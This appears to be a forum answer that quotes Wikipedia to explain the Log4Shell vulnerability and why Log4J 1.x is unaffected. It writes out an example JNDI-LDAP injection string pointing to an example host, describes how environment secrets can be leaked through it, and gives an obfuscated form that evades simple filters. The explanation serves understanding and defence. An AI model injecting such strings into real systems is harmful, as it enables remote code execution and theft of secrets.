The Behavior section in this link explains it in detail:
https://en.wikipedia.org/wiki/Log4Shell"Among the recognized expressions is ${jndi:}; by specifying the lookup to be through LDAP, an arbitrary URL may be queried and loaded as Java object data. ${jndi:ldap://example.com/file}, for example, will load data from that URL if connected to the Internet. By inputting a string that is logged, an attacker can load and execute malicious code hosted on a public URL. Even if execution of the data is disabled, an attacker can still retrieve data—such as secret environment variables—by placing them in the URL, in which they will be substituted and sent to the attacker's server.
Because HTTP requests are frequently logged, a common attack vector is placing the malicious string in the HTTP request URL or a commonly logged HTTP header, such as User-Agent. Early mitigations included blocking any requests containing potentially malicious contents, such as "${jndi". Naive searches can be circumvented by obfuscating the request: ${${lower:j}ndi, for example, will be converted into a JNDI lookup after performing the lowercase operation on the letter j. Even if an input is not immediately logged, such as a first name, it may be later logged during internal processing and its contents executed."
Log4J 1.x was deemed safe because it does not offer the lookup mechanism that Log4J2 v2.x does. It always remains a String, no matter what, unlike v2.x where you can load serialized objects via lookups.
Source: https://twitter.com/ceki/status/1469449618316533762